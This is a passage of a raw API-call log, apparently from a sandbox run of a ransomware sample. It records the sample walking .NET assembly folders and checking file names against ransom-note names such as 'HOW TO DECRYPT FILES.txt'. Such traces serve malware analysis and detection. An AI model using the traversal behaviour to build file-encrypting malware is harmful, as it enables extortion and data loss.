ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc085d708, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.087] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.088] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Routing.dll") returned -1 [0102.088] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Routing.dll") returned -1 [0102.088] lstrcmpiA (lpString1="", lpString2="System.Web.Routing.dll") returned -1 [0102.088] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\3.5.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0102.088] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\3.5.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\3.5.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\3.5.0.0__31bf3856ad364e35\\" [0102.088] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\3.5.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\3.5.0.0__31bf3856ad364e35\\") returned="" [0102.091] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.091] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde2c3de, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde2c3de, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.092] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Services\\*.*") returned="*.*" [0102.092] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Web.Services\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc079f027, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc079f027, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.092] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.092] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Services.dll") returned -1 [0102.092] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Services.dll") returned -1 [0102.092] lstrcmpiA (lpString1="", lpString2="System.Web.Services.dll") returned -1 [0102.094] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde2c3de, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde2c3de, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.095] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1979547, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1979547, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.095] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.095] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.dll") returned -1 [0102.095] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.dll") returned -1 [0102.095] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.dll") returned -1 [0102.097] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Presentation\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.098] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Presentation\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.098] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.098] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Presentation.dll") returned -1 [0102.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Presentation.dll") returned -1 [0102.098] lstrcmpiA (lpString1="", lpString2="System.Windows.Presentation.dll") returned -1 [0102.101] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Workflow.Activities\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.101] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Workflow.Activities\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc103fff6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc103fff6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.102] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.102] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Activities.dll") returned -1 [0102.102] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Activities.dll") returned -1 [0102.102] lstrcmpiA (lpString1="", lpString2="System.Workflow.Activities.dll") returned -1 [0102.104] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Workflow.ComponentModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.104] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Workflow.ComponentModel\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1764204, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1764204, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.105] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.105] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.ComponentModel.dll") returned -1 [0102.105] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.ComponentModel.dll") returned -1 [0102.105] lstrcmpiA (lpString1="", lpString2="System.Workflow.ComponentModel.dll") returned -1 [0102.132] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Workflow.Runtime\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.133] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Workflow.Runtime\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc12a15fb, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc12a15fb, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.134] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.134] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Runtime.dll") returned -1 [0102.134] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Runtime.dll") returned -1 [0102.134] lstrcmpiA (lpString1="", lpString2="System.Workflow.Runtime.dll") returned -1 [0102.136] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.WorkflowServices\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.136] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.WorkflowServices\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1170af9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1170af9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.137] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.137] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.WorkflowServices.dll") returned -1 [0102.137] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.WorkflowServices.dll") returned -1 [0102.137] lstrcmpiA (lpString1="", lpString2="System.WorkflowServices.dll") returned -1 [0102.139] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde52538, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde52538, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.140] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbf2a4e20, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf2a4e20, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.140] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.140] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.XML.dll") returned -1 [0102.140] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.XML.dll") returned -1 [0102.141] lstrcmpiA (lpString1="", lpString2="System.XML.dll") returned -1 [0102.142] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.143] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml.Linq\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfb920b0, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfb920b0, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.143] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.143] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.Linq.dll") returned -1 [0102.143] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.Linq.dll") returned -1 [0102.143] lstrcmpiA (lpString1="", lpString2="System.Xml.Linq.dll") returned -1 [0102.145] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\TaskScheduler\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde52538, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde52538, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.146] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\TaskScheduler\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc13abf9d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc13abf9d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.147] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.147] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TaskScheduler.dll") returned -1 [0102.147] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TaskScheduler.dll") returned -1 [0102.147] lstrcmpiA (lpString1="", lpString2="TaskScheduler.dll") returned -1 [0102.149] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\TaskScheduler.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.200] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\TaskScheduler.Resources\\6.1.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.200] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.200] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TaskScheduler.resources.dll") returned -1 [0102.200] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TaskScheduler.resources.dll") returned -1 [0102.200] lstrcmpiA (lpString1="", lpString2="TaskScheduler.resources.dll") returned -1 [0102.203] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\UIAutomationClient\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.203] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\UIAutomationClient\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.204] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.204] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClient.dll") returned -1 [0102.204] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClient.dll") returned -1 [0102.204] lstrcmpiA (lpString1="", lpString2="UIAutomationClient.dll") returned -1 [0102.207] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\UIAutomationClientsideProviders\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.207] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\UIAutomationClientsideProviders\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.210] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClientsideProviders.dll") returned -1 [0102.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClientsideProviders.dll") returned -1 [0102.211] lstrcmpiA (lpString1="", lpString2="UIAutomationClientsideProviders.dll") returned -1 [0102.213] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\UIAutomationProvider\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.214] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\UIAutomationProvider\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.214] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.217] FindFirstFileA (in: 